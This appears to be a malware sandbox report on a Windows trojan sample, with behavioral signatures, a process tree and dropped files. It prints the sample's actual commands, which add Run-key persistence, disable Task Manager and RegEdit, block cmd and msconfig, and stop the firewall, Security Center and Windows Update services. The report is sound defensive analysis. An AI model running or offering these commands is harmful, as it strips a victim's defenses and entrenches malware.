Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    18/10/2026, 22:43

General

  • Target
    jaffacakes118_Trojan.Win32.Cosmu.kir.exe
  • Size 614KB
  • Sample261018-2nfg1awvbx
  • SHA256 c3caf49dfb0d114640459709123a4bf4aba61068dbf5be48d85ba73c28cc6ea4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Blocks application from running via registry modification 1 IoCs

    Adds application to list of disallowed applications.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Disables service(s) 3 TTPs
  • Executes dropped EXE 1 IoCs
  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Cosmu.kir.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_Trojan.Win32.Cosmu.kir.exe"
    1⤵
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v update /t reg_sz /d c:\windows\system\update.scr /f
      2⤵
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      PID:3948
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 0x00000001 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4364
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 0x00000001 /f
      2⤵
      • Disables RegEdit via registry modification
      • System Location Discovery: System Language Discovery
      PID:1792
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t reg_dword /d 0x00000001 /f
      2⤵
      • Blocks application from running via registry modification
      • System Location Discovery: System Language Discovery
      PID:3600
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t reg_sz /d msconfig.exe /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3780
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d cmd.exe /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2644
    • C:\Windows\SysWOW64\gpupdate.exe
      gpupdate /force /wait:100
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5992
    • C:\Windows\SysWOW64\cmd.exe
      cmd /k sc config wscsvc start= disabled&sc stop wscsvc&netsh firewall set opmode disable&sc config SharedAccess start= disabled&sc stop SharedAccess&sc config wuauserv start= disabled&sc stop wuauserv&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\SysWOW64\sc.exe
        sc config wscsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2100
      • C:\Windows\SysWOW64\sc.exe
        sc stop wscsvc
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4264
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall set opmode disable
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:5240
      • C:\Windows\SysWOW64\sc.exe
        sc config SharedAccess start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1900
      • C:\Windows\SysWOW64\sc.exe
        sc stop SharedAccess
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:620
      • C:\Windows\SysWOW64\sc.exe
        sc config wuauserv start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3440
      • C:\Windows\SysWOW64\sc.exe
        sc stop wuauserv
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5500
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Taskmgr /t reg_sz /d c:\windows\system\reload.bat /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3700
  • \??\c:\windows\system\update.scr
    c:\windows\system\update.scr
    1⤵
    • Executes dropped EXE
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5152
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v update /t reg_sz /d c:\windows\system\update.scr /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4728
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 0x00000001 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3512
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableRegistryTools /t reg_dword /d 0x00000001 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1152
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t reg_dword /d 0x00000001 /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4748
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t reg_sz /d msconfig.exe /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3520
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t reg_sz /d cmd.exe /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:752
    • C:\Windows\SysWOW64\gpupdate.exe
      gpupdate /force /wait:100
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4968
    • C:\Windows\SysWOW64\cmd.exe
      cmd /k sc config wscsvc start= disabled&sc stop wscsvc&netsh firewall set opmode disable&sc config SharedAccess start= disabled&sc stop SharedAccess&sc config wuauserv start= disabled&sc stop wuauserv&exit
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2936
      • C:\Windows\SysWOW64\sc.exe
        sc config wscsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4676
      • C:\Windows\SysWOW64\sc.exe
        sc stop wscsvc
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5820
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall set opmode disable
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:5916
      • C:\Windows\SysWOW64\sc.exe
        sc config SharedAccess start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5180
      • C:\Windows\SysWOW64\sc.exe
        sc stop SharedAccess
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3704
      • C:\Windows\SysWOW64\sc.exe
        sc config wuauserv start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3084
      • C:\Windows\SysWOW64\sc.exe
        sc stop wuauserv
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:5492
    • C:\Windows\SysWOW64\reg.exe
      reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Taskmgr /t reg_sz /d c:\windows\system\reload.bat /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3228

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        update.scr

        • Path C:\Windows\System\update.scr
        • Size 614KB
        • SHA256 c3caf49dfb0d114640459709123a4bf4aba61068dbf5be48d85ba73c28cc6ea4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        reload.bat

        • Path \??\c:\windows\system\reload.bat
        • Size 98B
        • SHA256 efc033e0cdc06303ccca9475b3803fee68708ae89d7a6528c1078a6958f84713
        • MD5 SHA1 SHA512 TLSH

        memory/2788-0-0x0000000002380000-0x0000000002381000-memory.dmp

        memory/2788-1-0x0000000000475000-0x0000000000476000-memory.dmp

        memory/2788-7-0x0000000002380000-0x0000000002381000-memory.dmp

        memory/2788-8-0x0000000000400000-0x00000000004A0000-memory.dmp

        memory/5152-9-0x0000000000400000-0x00000000004A0000-memory.dmp